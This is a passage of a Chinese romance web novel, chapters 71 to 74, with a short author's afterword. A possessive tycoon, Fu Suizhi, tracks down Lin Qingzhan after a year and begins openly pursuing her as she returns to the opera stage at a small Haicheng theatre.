傅随之回眸看他,三秒后终于点了点头,“给老四打电话,让他现在过来。” “好。” 傅随之回眸看了眼仍旧亮着的房间,那空着的心脏感觉终于再次活过来了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-75 第71章 他嘱咐秦楠在这边看着,随后带着傅慎离开去了海边别墅。 顾蝉去法国工作,顾宴迟正闲着没事干,接到电话直接过来海城。 之前有段时间,顾蝉过来海城博物馆帮忙修复一副古画,顾宴迟借住过海边别墅,对这里很熟悉。 库里南一路开进别墅,他带着徐泽也和纪时礼熟门熟路地走进别墅。 傅慎坐在落地窗前,看到顾宴迟他们几个,站起身。 顾宴迟四顾没见人,“你们三爷呢?” 傅慎指着靠近海边的后院。 纪时礼好奇死了,“你们夫人真找到了?” 傅慎点了点头。 “在哪里找到的?” “月亮街一栋别墅。” “什么地方?”纪时礼压根不知道月亮街,“算了,那不重要。傅三找到人还不开心,是那位林小姐不鸟他吗?” 傅慎面无表情,“纪爷,你这看戏的表情太明显了。” 纪时礼顶着一头卷发,笑嘻嘻地:“我这不是没见过傅三吃瘪,一时间没收住。” 顾宴迟手掌搭在他肩膀,“我看你还是收一收这表情,我怕待会傅三心情不好打你。” “笑死人了。他打我我不会打他?” 徐泽也悠悠说了句,“你确定你打得过他?” 纪时礼:“……”妈的,傅三武力确实高。 顾宴迟手压在他后背,将人往前推,“行了,还是好好安慰你三哥。” 虽然不是当事人,但顾宴迟作为顾蝉的家属,非常清楚这一年的情况。 车祸爆炸事件后,傅随之满世界找人,整日里像是阎王爷出巡,每个人见到他都害怕。 他也曾经找过顾蝉几次,作为林青盏的闺蜜,顾蝉自然没给傅随之好脸色,也不愿意帮傅随之找林青盏。 即便顾宴迟中间劝说几次也没用,因为顾蝉也不知道林青盏的下落。 林青盏离开后,只给顾蝉发了条消息报平安,之后再也没有出现过,电话打不通发消息不回,明摆着就是故意要跟浮城的人断了联系,就是要让傅随之挖地三尺也找不到人。 这种前提下,即便傅随之现在找到人,必然不可能得到什么好脸色。 顾宴迟心想,傅三要挽回她肯定得吃点苦头。 他们推开玻璃门,沿着石子路往外走,很快看到傅随之坐在院子的长椅上。 他身上穿着白色衬衫,被海风吹鼓,身形看着莫名显得寂寥孤独。 徐泽也和顾宴迟对看一眼。 他们几人一起长大的,在外人看都是高傲的上位者,只有他们互相看过彼此最狼狈的模样。 他们都记得,傅随之唯一一次在他们面前哭,是陈挽死去的那天。 那一夜,傅随之也是这样孤独地坐在海棠苑院子里,望着天空的明月,没有任何声音地宣泄情绪。 这是第二次,傅随之那么无奈孤独地坐着,好像什么事情都做不了。 顾宴迟往前走,“三哥?” 望海的傅随之坐着,一动不动。 纪时礼慢悠悠走到他面前,歪头将脑袋凑过去看他,就那么对上傅随之清冷的眼眸。 “你看着有点可怜是怎么回事?” 傅随之拿着玻璃啤酒瓶,冷眼一瞥,没理他。 纪时礼倒是半点不客气,自己拉了张白色藤椅,坐在圆桌前,拿了起子给自己开了瓶啤酒。 顾宴迟和徐泽也跟着坐下。 三人一开始没说什么,安静陪着傅随之喝酒。 是傅随之耐不住,转身问顾宴迟,“顾蝉什么时候回来?” “她那边的工作在收尾,三天后结束回来。” 傅随之拧眉,明显很不满,“还要三天?” 顾宴迟悠然往后靠,手里拿着绿色玻璃啤酒瓶,喝了口酒,眼神才落在傅随之身上。 “三哥,你都疯了一年了,心底还稳不下来?” 傅随之冷眼看他。 徐泽也:“说说吧,这人你是怎么找到的?” 傅随之修长手指抽了根烟咬住,拿起金色打火机,手掌半笼着挡住海风才点燃。 抽了两口烟,他才缓慢开口说起,林博昶前段时间发现林博蘅最近一年经常外出,而且去最多的是海城。 林博昶知道林博蘅和贺兰承的关系,怀疑林博蘅是不是在替贺兰承照顾林青盏,但他跟着林博蘅好几次,都没有收获。 以傅随之的手段,在海城进行地毯式搜索或许也能找到人,但那样会打草惊蛇,他不想将她吓跑了。 思前想后,傅随之去了趟马来西亚,打着找林青盏的名目去和贺兰承谈了笔生意,想让贺兰承给林青盏带一封信。 贺兰承一开始不答应,傅随之砸了个国外的煤矿项目,贺兰承才接受。 为了不引起贺兰承的怀疑,傅随之谈完就带着傅慎和秦楠先回国,让人在马来西亚看着,果然看到林博蘅来找贺兰承。 林博蘅离开马来西亚的飞机是直接飞海城的,傅随之断定林博蘅是去海城送信,一直让人跟着,中间换了好几波人,最终还是隐藏在暗地里的林博昶没被林博蘅发现,跟着到了白色别墅发现林青盏。 接到电话,傅随之就马不停蹄过来,在温泉池逮住林青盏。 …… 听完,顾宴迟和徐泽也双双摇了摇头。 纪时礼这个小疯子都知道,“你找人姑娘找了一年,见到人就给人摁住威胁她不准离开,不然要叫她好看。要我是林姑娘,我肯定踢爆你下面。” 傅随之看纪时礼一眼,难得没朝他扔啤酒瓶。 顾宴迟:“三哥,小疯子都知道暗恋不成,就先假装结婚,再慢慢追人。你到现在还不明白么,你想和林姑娘复合,不能再用之前养金丝雀那套了,你和她得是平等的男女朋友关系。” 徐泽也:“还有别忽视之前的问题。她为什么离开你,你得把那些心结解开了,她才有可能答应复合。” 傅随之望着远处的大海,耳边满是汹涌海浪的声音,脑袋嗡嗡嗡的。 顾宴迟和徐泽也也不催促,只随他自己想着。 他这二十七年来,被傅怀锦养成了冷漠无情的人,不能表达情绪到不会表达情绪,用了二十三年,现在要变成正常人,没那么简单。 这一夜,他们喝到天明。 天亮后,顾宴迟他们三人受不住了,自己到楼上找了客房睡下。 傅随之仍旧坐在长椅上,看着朝阳升起,满天朝霞红彤彤。 他想起那次在这里,他从背后抱着林青盏,一直做到天快亮,最后她趴在玻璃窗上望着晨起的太阳,脸蛋粉红得很好看。 那时候一切都很美好,他也亲口告诉过她,“月亮和星星见证,我喜欢。” 他从未说谎,他心底一直喜欢她,他不会轻易放手- 好不容易找到林青盏,所有人都不敢懈怠。 一整晚,秦楠亲自守在白色别墅门口,就怕林青盏再次逃走。 天亮后,他让人去买早餐,自己不敢懈怠仍旧站在门口看守。 过了几分钟,有人拍了拍他肩膀,他以为是小弟回来了,手掌往后伸,“早餐给我。” 身后没动静。 他不耐烦地站起身,看到身后的傅随之,吓了一跳,“爷,你来了。” 一晚上没睡,傅随之眼眶发红,冰冷气息更加骇人。 他抬眸看了眼拉上白色窗帘纱的房间,嘱咐傅慎,“给林博昶打电话。” 林博昶正在温柔乡里,接到电话也没敢耽搁,直接冲了过来。 房间里。 林青盏是被手机铃声吵醒的,迷迷糊糊睁开眼睛,望着头顶的水晶 灯缓和了半天,才转身摸到旁边搁着的手机。 云雪棠:「小纾姐,记得记得哦。今天下午我过来接你,先到台里来看看!」 林青盏看着这条信息,莫名想到昨天云雪棠送她去温泉酒店,路上开着她的那辆车噗噗好几次差点撞到旁边栏杆。 她心有余悸,「不用麻烦你跑一趟。我自己过来就好了。」 云雪棠很快回复:「也行哈哈。我等你噢。」 跟云雪棠闲聊几句,林青盏看到手机屏幕显示的时间,已经十一点了。 昨晚一向睡眠很好的林青盏竟然失眠了,因为她只要闭上眼睛,就会看到傅随之那张脸,身体本能地就紧绷着,最后不知道什么时候睡着了。 她手掌撑着坐起身,柔顺长发披散下来,白皙脸颊在灰暗的房间里依旧动人。 白皙脚踝踩着地毯走到窗边,手指勾着窗帘拉开看了眼,底下有保镖还在,不过傅随之已经不见踪影。 她松了口气。 她一个人在这里住了一年,无时无刻不在想,傅随之找过来要如何。 可是他突然出现,还是弄得她措手不及。 现在看到人走了,她凌乱的思绪才平缓了些许。 她换了身新中式旗袍,浅浅的蓝,绾起半头,以簪子固定,温柔婉尔中透着一股灵动。 洗漱时看到贺兰承发来的消息,他和林博蘅今天有个会议,十二点结束就会回来陪她。 林青盏想着给他们做点家常便饭,吃完下午刚好去一趟月云阁。 走下楼梯,总感觉客厅里有什么声音,她疑惑歪头看了眼,竟然看到傅随之坐在客厅的沙发上。 跟昨天的阴鸷疯狂状态相比,今天的傅随之显得平静沉稳许多,那双浅棕色眼眸深深望着她。 林青盏站在楼梯口,一时间不知道该做什么。 他是怎么进来的? 她不让他进来,他就擅闯? 像是他干得出来的事情。 突然,楼梯口冒出一张脸,是林博昶。 林博昶嬉皮笑脸,“夫人,打扰了!我跟我哥说了,我今天在海城有事,顺道过来吃个饭。看到三爷在门口,怪热的,就让他进门喝口茶。没吓到你吧?” 都秋天了,热什么热。 林青盏看了看林博昶,也做不到将他赶出门,毕竟这是他哥哥的别墅,林青盏也只是借住。 她目光从沙发上那男人扫过,径直往餐厅的方向走去。 林博昶见她没有拒绝,对傅随之抬了抬下巴,明显邀功的表情。被傅随之冷眼一看,感觉无趣,转身往花园走去,要给他们留下独立空间。 林青盏走到餐边柜,打开柜子从里面拿出自己习惯用的杯子,放在岛台,给自己冲了杯茶。 身后传来脚步声,她转身看了眼,是一身冷气的傅随之走过来。 他站在一米外,安静看着她。 林青盏抿了下嘴唇,干脆将头低下。 下一秒身后传来他低沉的声音,“我们不是没关系,你说分手我没答应。” 第72章 林青盏双手捧着茶杯,没有回头。 傅随之的声音依旧冷冷的,“那件事我跟你说过。” 只是她当时听不进去。 “我爸当年的死牵涉到很多,我一直在调查。当时知道你的身份,我是想过从你身上入手调查,后来我也发现你什么都不知道。” 傅随之善于犀利地谈判,但并不善于解释,第一次遇到需要片刻才能组织好语言的境况。 “我是疯了点,但不是没脑子没理智,不要用别人的想法来框架在我身上,我没想过要对你下手,也没想过对贺兰承下手。” 傅随之抬眸看向林青盏。 她比之前瘦了点,穿着旗袍,身姿更显得纤瘦。 一年三百多个日夜,他时时刻刻煎熬着,现在终于找到她了,他迷恋于这样望着她,目光反复巡视,恨不得将她藏到心底,让她再也跑不掉。 傅随之往前走了两步,站在她身后,声音越发低哑。 “小纾,我说过别想离开我身边,我不允许。” 林青盏将茶杯放下,微启干涩嘴唇。 话都还没说出口,傅随之抓住她的手腕,温热指腹贴着她脉搏的位置,似能听到她的强烈心跳。 “小纾。” 林青盏抬起头,对上他那浅棕色眼眸,可以看出他与以往的不同。 他身上的那股冷漠像是潮水退下,取而代之的是无限柔情。 林青盏的心从来没有坚定过,可是她知道她和傅随之之间的问题始终还在。 “当年的事情,你还没调查清楚。虽然我很想相信我爸,可是那时候我妈确实生病需要钱,我说不好他是不是真的为了我妈,做出什么不该做的事情。” 林青盏缓缓说道,“如果他真的是害死你父亲的帮凶,你真的能心安理得和我在一起吗?” 傅随之坚定,“我可——” “傅随之,有些事还没发生,不要太过相信自己。” 林青盏望着他,“我刚知道这件事的时候,我也很坚持,觉得我们之间不会因为这件事有隔阂。” “我对你没有隔阂,是你不相信我。”傅随之神色沉了下来。 一年前,沈钰铭威胁她的时候,她确实害怕过,傅随之如果知道贺兰承的身份,会对他下手。 她心底对他没有完全的信任。 他将她白皙手腕抓得更紧,“我说了,别用别人的想法套在我身上。” 这些年他为了在傅家立足为了上位,行事风格确实阴狠毒辣,但他也没到不辨是非的程度。 林峰平和傅清庭的死有没有关系,这个他还没有查清楚,就不可能随意对林峰平的儿女下手。 更何况,他和林青盏的关系,他即便是再恨,也不可能对她的至亲下手。 林青盏深吸了口气,“好,是我不相信你。那你告诉我,如果我爸爸真的……” “小纾,我不喜欢回答假设性问题。” 傅随之抓着她肩膀,“事情我会调查清楚,有结果了,我们再来决定怎么做。现在你只需要知道,别再白费功夫想要逃离我,我不会让你得逞的。无论你跑到哪里,我肯定会找到你。” 傅随之口吻虽然冷冷的,但难得和林青盏解释了几句,大致说他会尽快调查清楚,让她放下心结,也让她不要抗拒他,他可以给她时间,让她重新接纳他。 傅随之低下头,望入她的眼眸深处,“你可以选择什么时候继续。” 言外之意,除了不允许她离开,其他主动权,他可以交到她手上。 或许是林青盏没有强烈地挣扎和反抗,让傅随之没有继续发狂发疯,情绪算是沉稳稳定。 在贺兰承和林博蘅回来之前,傅随之先离开了。 白色别墅有个小院子,角落里栽种着一片秋海棠,色彩艳丽。 林青盏盯着看了会儿,听到开门声,是贺兰承和林博蘅回来了 林博昶跑出去开门,嬉皮笑脸地叫了声:“哥。” 林博蘅看似斯文,对这个浪荡不羁的弟弟却很是严肃,一进门就问他:“干没干什么事?” 林博昶笑得谄媚:“我这不是答应你来公司学习,一早上我都在认真看文件,哪里有时间干坏事。” 他看到走进来的贺兰承,又叫了声,“兰承哥。” 贺兰承是贺兰承这件事,他并不打算对外公告,也就是他们几个知道他的本名,在外他还是以“贺兰承”的身份生活着。 贺兰承已经习惯了,倒是没觉得有什么。 他一向不看好林博昶,对他冷眼以待,兀自往花园的方向走,要去找林青盏。 林青盏搁下茶杯,起身去推开玻璃门。 贺兰承走出来,仔细端详了下她的神色,瞧着脸色不错。 “昨晚睡得还好?” 林青盏老实交代,“看到哥哥有点激动,挺晚才睡着。” 贺兰承笑着揉了揉她的头发,“待会再给你做顿饭,我有事要先回马来西亚一趟。” 林青盏知道他公务繁忙,肯定不会待太久,只是没想到这么快他就要离开。 贺兰承知道她不舍,沏了壶茶,在花园里陪着她说了会儿话。 “隔壁院子想好怎么装修了吗?” 林青盏摇了摇头,“还没想好。” “既然想弄,干脆让人过来敲掉重新装修,之后你想住也可以搬过去。” “好。” “我让博蘅安排设计师和装修队伍,你想想要什么风格,具体再和设计师交涉。” “好啊。” 林青盏从小在望月台生活,很多事情都是别人给她安排好好的,她习惯于这种风格,对于贺兰承万事为她安排好,感觉还不错。 “对了,哥。我有个好朋友家里开了个戏楼,因为找不到合适的演员,让我去帮忙几个月。我下午会过去先看看,接下来开始在那边上班。” “好。”这事贺兰承很赞成,“这是你的专业,有点喜欢做的事情打发时间也好。” 午后,贺兰承准备离开,让林博蘅安排个人专门给林青盏当司机,顺便保护她。 林青盏知道贺兰承现在身份不一样,想要找他麻烦的人很多,难保没有那种不长眼的找到林青盏这里来,她不想给贺兰承造成麻烦,自然不会拒绝他的安排。 听到他们的谈话,林博昶踊跃自荐要给林青盏当司机。 贺兰承本来是皱眉拒绝的,但林博昶巧舌如簧,”兰承哥,你放心,我以我的小命担保,小纾姐一根头发都不会少,给她照顾得平平安安,更加漂亮。” 贺兰承冷眼看他。 “兰承哥,你想想傅清檐那个狗杂种背后藏着多少人啊,那你随便找个谁来当司机,就不怕是他的人。要来照顾小纾姐安全的,肯定得是我这种自己人,你说对吧。我再混蛋,再不担事儿,我怎么也知道得把她保护好,是不是?” 不得不说林博昶这张嘴确实厉害,最终贺兰承答应让林博昶给林青盏当司机,这才安心离开回去工作。 林青盏收拾好东西,拿着小提包往外走。 花园里铺着小石子路,她踩着高跟鞋走得慢,目光不自觉往外张望,是想着傅随之会不会突然出现,叫她又不知道怎么面对。 林博昶穿着骚包的白色西服倚靠在他那辆骚包的兰博基尼上,看到她,弯下腰行了个特别隆重的礼,“公主夫人,请上车。” 林青盏蹙眉,“你这是什么奇怪的称呼?” 林博昶咧嘴笑,“称呼夫人是我对三爷的忠贞,唤一声公主,是我对兰承哥的尊敬。” “……”林青盏差点笑出声,“你的心看起来有点忙。” 一边是傅随之一边是贺兰承,谁都不想得罪,谁都想巴结。 好在林博昶不是那种阴险小人,即便脸上满是谄媚,看起来也不讨厌。 林青盏没跟他客气,就是单纯把他当做司机,心安理得上了车系好安全带。 “开车。” 林博昶高声回了句:“遵命,公主夫人!” 在他猛地踩下油门的那一刻,林青盏还是决定纠正他,“不要再那样叫我。” “好的,公——” “也不要叫我公主,很中二。” “好的,夫人。” “……” 林博昶看了眼林青盏,嬉皮笑脸,“我这完全是听命于夫人的话。你说有天三爷知道,是夫人钦点我这么称呼你,会不会给我奖励?” 林青盏抿了抿唇,放弃跟这个人说话,毕竟说不过他,脸皮也没他厚。 兰博基尼很是惹眼,从月亮街街头开到街尾瞬间引起了路人的瞩目,林青盏心底默默叹了口气,打算晚上回去和林博蘅谈一谈,让他给林博昶换辆车。 这个想法刚冒头,她忽然听到外面些许喧闹,林青盏还看到路人纷纷驻足,指着兰博基尼后方激动万分。 林青盏疑惑回眸,就那么看到了身后的一列队豪车。 为首的那辆劳斯莱斯上,傅随之双手紧握方向盘,目光如炬盯着她这边。 林青盏收回视线。 旁边的林博昶吹了个响亮的哨声,“三爷就是三爷,不愧是我的偶像,追老婆都是最屌的!” 林青盏转头看他,他还美滋滋的,“夫人,我说的对吧。看到三爷这么隆重地跟在你身后追你,现在你的心底是不是特别澎湃特别感动特别——” “你再不闭嘴,我现在就给你哥打电话。” 林博昶收敛了不正经的笑容,“好的,夫人。” 之后,林博昶当真没有再说话,一路快速往月云阁行驶而去。 身后的豪车列队还在跟着,傅随之全程没什么表情,只是认真开着车,不紧不慢跟在他们身后。 林青盏知道,就算她打电话让他不要跟,他也不会听,干脆置之不理,就当做他们不存在。 月云阁是云雪棠的父亲为她母亲建立的一个小小戏曲团,选址很是费心思,找了个靠近古街道的小楼,门面不算大,但装潢古朴,很有戏曲风的味道。 远远的,林青盏看到云雪棠站在门口等候,拿出手机给她发了条消息,「我到了。」 同一时刻,兰博基尼在月云阁门口停下。 云雪棠压根没想到她会坐这么骚包的一辆车过来,四处张望了下。 林青盏推开车门,笑着唤了声:“小雪。” 云雪棠恍然,“你这是?” 林青盏只简单说一句,“我开车不熟悉,我哥让人送我过来。” 她拉着云雪棠要往月云阁里走,不经意转身,看到不远处的傅随之已经下了车,半依靠在劳斯莱斯上,双眸紧紧盯着她。 也只是这么看着,他并没有靠近。 云雪棠八卦地“哇”了声。 林青盏没让她有开口的机会,拉着人往里面走。 她的心脏怦怦跳着。 傅随之总是有这样的本事,搅和得她心乱如麻。 第73章 月云阁门面不大,走进去却像是入了世外桃源,视野乍然变得开阔。 视野遍及的正中央是硕大的舞台,和望月台比自然差了点,可依旧让林青盏很有熟悉感。 莫名的,她鼻尖泛起一阵酸涩。 她一离开就是一年,为了躲着所有人,连在网上录制视频教人唱昆曲都要拿捏着声音,不敢太暴露自己的真声。 这样的生活结束了,她可以回到自己喜欢的舞台,继续做自己喜欢做的事情。 云雪棠拉着她的手腕将人往里面带,“小纾姐,我妈已经等候多时了。你不知道这两个月她找不到人来撑着舞台,心底那个愁啊。眼见着她鬓角都有白发了,我心底也很担心她。” “瞧你这丫头说的,妈妈怎么可能长白头发,妈妈永远年轻不会老。” 听到悦耳的声音,林青盏转身看过去。 她之前听云雪棠说起过她的父亲母亲,不过一直没有机会碰面。 这会儿一见才发现她母亲长得特别好看,五官精致,容颜倾城,也是难怪之前能够自己将月云阁撑起来。 她礼貌点头:“阿姨,你好,我是小雪的朋友,林青盏。” 云妈妈笑得温柔慈祥,“小纾你好啊,我是小雪的妈妈,荣溪月。” 荣溪月? 林青盏震惊。 荣溪月眉眼弯弯,笑容更加甜美,“看你这表情,应该是知道这名字。” 林青 盏恭敬道:“我之前在浮城望月台长大的,我听我师傅说起过您。她说您当时和单苇单老师,以及棠傛棠前辈,并称京都三小花旦,唱腔都很美。” 云雪棠从小听惯了他们家老云整天说荣溪月的事迹,已经免疫,“好了,我们先坐啦。坐下来慢慢说。” 她将林青盏和荣溪月拉到第一排方桌坐下,手指勾着古董茶壶给荣溪月和林青盏都倒了杯茶。 “小纾姐,我妈妈已经离开京都戏曲圈很久了,没想到你还知道她。” 林青盏看着云雪棠,莞尔一笑。 她和云雪棠认识是意外,之后云雪棠经常来白色别墅找她,她倒是没来过月云阁。 之前只是听云雪棠说,她妈妈早年很喜欢唱曲,结婚后跟着她父亲来了海城,她父亲为了哄她妈妈开心组了个月云阁的团队,专门“捧”她妈妈,为的就是让她妈妈开心。 年初开始,因为她妈妈嗓子不舒服唱不了了,导致门庭若市的月云阁突然没了支撑,云雪棠一直在找人过来撑场子。 林青盏想着自己没事做,也不着急回望月台,来月云阁帮忙总是没有问题的,可云雪棠没跟说,她的妈妈是能和单苇单老师并称三小花旦的荣溪月啊。 林青盏望着荣溪月恭敬道:“前辈,我之前不知道这是您的戏楼,若是知道,我是不敢说能来为你撑场子的。抱歉,是我妄言了。” 荣溪月看她长得很是水灵,眉眼间满是他们戏曲人的莞尔,心底很是喜欢她,“无碍。你说你之前在望月台长大?” “是的。我父母早亡,小时候和哥哥走失了,是望月台的长辈们收留了我。” “浮城我去过几次,望月台和宴乐门都到过,我不喜欢宴乐门,太俗,望月台在望月手里的时候,很注重戏曲传播,这点我喜欢。” 她长相婉约,笑起来特别有亲和力,“你是跟着谁学习?” “我师傅是白云。” “噢,是那个小丫头,我见过,不过是二十几年前的事情了,那时候她还是个很灵动的丫头。” 林青盏陪着荣溪月聊了会儿天,原本是想推掉这事儿,没想到荣溪月特别喜欢她。 “有一点,小雪说的不假,一年前我做了个手术,现在声带受损,唱不了了。这月云阁是我的心血,我不想将它关了,所以才想着找些后辈来培养培养,指不定能培养出好苗子。” 林青盏有些为难看着她。 荣溪月:“我知道,一入门,终身为师。你既然拜入白云门下,我是不能再收你。不如按照小雪和你之前商量的来,你到我这儿来帮忙三个月,把后面安排的场次表演完,三个月内我找个人教会了来替你。” 她都这么说,林青盏自然不可能不答应。 那之后,林青盏每天到月云阁报道,由荣溪月亲自陪着排练了几场戏,熟悉熟悉舞台。 她虽然离开舞台一年,但台下功夫没有落下,这么排练下来,荣溪月连连称赞更是满意。 三天后,林青盏首次在月云阁登台,要唱的是一出《桃花扇》。 云雪棠早早到场,在化妆室里陪着她化妆聊天。 “我妈从小在这里唱戏,我们家老云经常要来捧场,我也跟着时常来。小时候听不懂,只知道妈妈在舞台上表演很美丽。到了青春期,开始了解懵懂的爱意是什么,听到她唱《桃花扇》是悲剧,那种浪漫唯美感就会更强烈。” 林青盏抬眸,“你觉得悲剧是浪漫吗?” “小时候是这么想的,不过现在不觉得了。随着年纪越来越大,会改变想法,想要所有感情都是甜蜜收场。” 林青盏听云雪棠说起过,她喜欢一个人很久,但对方有女朋友,所以只保留在暗恋的阶段。 暗恋是一个人的兵荒马乱,像是开场的剧无法收场,过程终归是苦的。 “这出《桃花扇》很好,但我不喜欢。明明相爱的两人因为当时君主昏庸、奸臣当道,在栖霞山重逢后又双双出家,典型的悲剧。这种故事最好只存在话本里,人生太苦还是需要点甜的。” 林青盏说完,感觉这话很是熟悉,惶然了下,才想起来之前自己和傅随之说起过。 她摇摇头,没有让思绪飘远。 化好妆换上戏服,林青盏在后台开了下嗓子,就到前头等着锣鼓敲响,戏曲开场。 突然,前方响起躁动声。 云雪棠将帘子拉起了点,看到舞台下的场景,摇了摇林青盏的手臂。 林青盏转身往台下看过去,只见一群人轰然涌入。 这一群人不像是以往那般西装革履,都是便服过来的,不过因为人太多还是很醒目。 更为醒目的还是为首的男人。 他身穿白衬衫和西装裤,款式简单,烫熨紧致,人看着越发矜贵傲然,那张脸庞轮廓硬朗锐利,目光随意扫过,寒冷至极。 这几天,林青盏天天往月云阁跑,傅随之也日日跟着。 每天都是一列队的百万豪车相送,即便林青盏让林博昶给他转达,让他不要如此,傅随之仍旧一意孤行。 今天是她时隔一年首登台,林青盏早预料他会过来,心底倒是不意外。 她眸光从他身上拂过,很快低下头。 云雪棠总是往月云阁跑,亲眼看着傅随之天天护送她上下班,但就是没上前说话,林青盏也总是一副跟他不熟悉的样子,可这两人眼神交汇时总透着一股浓重的情思。 她好奇死了,终究没忍住问:“小纾姐,那个人真的是你老公啊?” 林青盏摇头,“当然不是。” “那他为什么天天追在你屁股后面,难道是他在追求你?” 林青盏还是摇头,不回答。 云雪棠无奈,也不好再问下去。 身后有人走过来,云雪棠转身看过去,是化妆室里帮忙的小女生。 小女生很是兴奋,“刚刚外面的人送过来一束超级大的海棠花,点名是送给小纾姐的。” 林青盏蹙眉,看了眼台下已经入座的傅随之,转身去后台。 那束海棠花太大,是由两个工作人员搬进来的,身后跟着的是秦楠。 见了林青盏,秦楠笑嘻嘻:“夫人,这是昨天三爷亲自去海棠苑玻璃花房里给摘过来的,说是庆祝你再登台。” 林青盏低头看了眼那海棠花,没想到是来自那美轮美奂的玻璃花房,心底感觉怪怪的。 秦楠是个机灵的,将花送到,又说了几句好听的贺词,完全不给林青盏机会拒绝,转身就往外走。 等林青盏反应过来,已不见人影。 花只能留下来。 林青盏没有被这件小事打断思绪,让台里的小女生帮忙将花搬到角落里,转身云雪棠说起月云阁的事情。 这几天林青盏了解了下,荣溪月登台时期,月云阁也算是座无虚席,有些观众是荣溪月的戏迷,不远万里也要来听一听她的声音,而大部分是当地的戏迷,知道这边有位唱得不错的角儿,就会过来瞧瞧。 自从荣溪月不登台,戏迷们就不再过来了,短短几个月,客人流失严重,门庭清冷。 照云雪棠说的,即便是空壳,云鹤森一直养着也不碍事,但荣溪月觉得没有必要,她是真心喜欢戏曲的,如果摆一个空的戏楼留作念想,那还不如干脆关掉。 后来是云雪棠提出,要不找另外的演员,现在荣溪月还教得动,可以扶持新人上去。 现在学戏曲的,很多都向往大舞台,也有些直接跳板进入演艺圈,愿意来这种没有前途的戏楼工作的很少。 既然如此,那她们得先把月云阁炒热起来,让观众们都知道这里是听曲的好地方,也会尽量收集资料,跟海城戏曲协会那边接轨,到时候也能申请到各方面的机会。 刚巧云雪棠就是学网络传媒的,自己手里握着两三个粉丝上 百万的账号,在网络营销这方面造诣很高。 林青盏之前和云雪棠说好了,之后的每一场戏都录制下来,云雪棠也会制作相关主题的系列视频,开始推广戏曲文化。 林青盏是真心喜欢昆曲,未登台这一年,都会用视频教学来推广昆曲,更何况是现在这种要大规模去推广的事情,她不只是尽力在做,做得也是满心欢喜。 一整天的工作,她并未觉得累。 反倒是走出月云阁,看到门口站着的傅随之以及他身后的一列队保镖,林青盏很是头疼。 林博昶已经将车开过来,停在月云阁门口等着接她。 她不好在门口停留太久,收回视线先上了车。 那日的兰博基尼太过惹眼,林青盏让林博昶换辆车过来,隔天他当真丢下兰博基尼,开了辆低调的迈巴赫过来接送。 林青盏坐在副驾驶座,抬眸看了眼后视镜,可以清楚看到后面的豪车列队不紧不慢跟着。 察觉到她的注目,林博昶悠悠说了句,“浮城人人惧怕傅三爷,说他阴狠毒辣、冷漠无情,可谁能想到咱们傅三爷是个痴情种啊。好不容易找到老婆,要搁别人身上,估计都直接扛回家了。他倒好,因为你一句不乐意,每天就远远跟着,静静地看着你。你瞧瞧他那双眼睛都含情脉脉。” 林青盏转身看他一眼,“不觉得。” “啧,要不说女人狠心起来,那就是铁石心肠啊。你都看不到傅三爷为了你,公司都不管了,专门守着追妻。夫人,我纯好奇问你一句,你难道就一点都不感动吗?你的心里就没有那么一丁点动容?” 林青盏被他的慷慨陈词逗乐,“你以为你在演讲?” “不是啊,我在说真话。这个男人为了你可以抛弃全世界,也可以给你全世界,遇到这种男人你还犹豫什么,赶紧嫁了啊!” “有没有人告诉你,男人话太多,会招人烦。” “你是第一个。” 和林博蘅的斯文儒雅完全不同,林博昶生性洒脱、放浪不羁,喜欢穿粉衬衫,顶着精心打扮的造型,活像只孔雀,每天都在自娱自乐地开屏。 这会儿,他单手扶着方向盘,手肘随意抵在车门上。 林青盏提醒:“最好不要单手开车。” 林博昶不甚在意,“你不觉得这样比较帅吗?” 她毫不犹豫:“不觉得。” “你的眼里心里都是三爷,看不到我的帅气也是理所应当。” “……” 林博昶开着迈巴赫停在白色别墅门口,一副嬉皮笑脸的模样跳下车为她将车门打开,“夫人,请下车。” 林青盏已经懒得纠正他,反正没有效果。 她提着包下了车,抬眸看到傅随之已经下车就站在不远处。 白色别墅周围围绕着白墙,墙上挂着红艳的三角梅,傅随之站在花下,竟然不会显得艳俗,反倒有种强大的色彩冲击视觉感,让他的脸庞更显得锐利。 许是见她有所停留,傅随之走过来,眼眸是温柔的。 “累了吗?” 一句平淡的话,跨越了三百六十多个日夜,好似要将他们的距离再拉近。 林青盏有种恍然隔世的感觉,好一会儿才启唇道:“你不要每天带那么多人跟着我了。月云阁附近是古街,平时不止有戏迷过来听戏,还会有旅客经过,车辆那么多堵住很麻烦。” 傅随之点了点头,“好。明天开始,我自己开车去。” 林青盏眨了眨眼睫,“我没说让你去。” 傅随之一米九的身高,站在她面前,比她高许多,需要低头弯下腰才能与她平视。 他望着她明亮如星星的眼眸,嘴角勾着浅浅的笑,是难得温柔的。 “小纾,这点不能答应你。”他举起手掌贴着她乌黑长发揉了揉,“我现在在追求你,不出现怎么追?”—— 作者有话说:傅三会一直这么温柔地追人?nonono!那是不可能的! 他是在克制没发疯。 下一章或者下下章开始疯狂求上位! 不过现在的发疯不一样了,现在是跪着发疯!!- 彻底没存稿了! 我每次开文,都要熬夜写,十一点睡觉五点起来写或者两三点起来写完再继续睡一会儿[笑哭] 很怕有天会受不了! 下一本《肆无忌惮》我一定要存稿很多很多!! 第74章 房间里亮着暖橙色的光,林青盏走到床尾的黑色布艺沙发坐下,身体整个蜷缩起来,脸颊贴着膝盖。 情绪是有些不稳的。 脑袋里只有傅随之的那句话:小纾,你既然觉得过去就是过去,那我们重新开始。这一次,我主动,我追求你,好不好? 这是傅随之思考了几夜的结果,林青盏放不下心结,那就让那些都过去,他们重新以平等的方式互相靠近。 林青盏抓着旁边的靠枕,整个人窝进沙发里,乌黑的长发披散下来,心底思绪混乱。 片刻后,她才缓缓起身,去洗漱换上真丝睡裙,滑入被窝里面。 她侧身打开旁边的抽屉,从里面拿出之前用的手机,找了个姿势躺好,垂眸看着黛青色手机,心底犹豫着。 三分钟后,她纤细手指摁着开机键,手机屏幕很快跳转到首页。 她点开,看到上千个未接电话,以及微信里满满的消息。 躲在月亮街的这一年,她无数次想要打开,但又不想让自己停下来去回想过往的事情,最终都会忍下来。 时隔一年,她看到傅随之和顾蝉他们的消息。 「你在哪里?我过来接你。」 「小纾,我不可能让你离开我,劝你现在就回来。」 「不管你躲在哪里,我肯定会找到你。」 「如果你再不出来,信不信我弄死贺兰承。」 「小纾,你回来,好不好?」 「我想你。我想见你。」 「玻璃花房的秋海棠开花了。」 …… 最近的消息是一个月前的,好像是卸掉了他的所有力气,满是无奈。 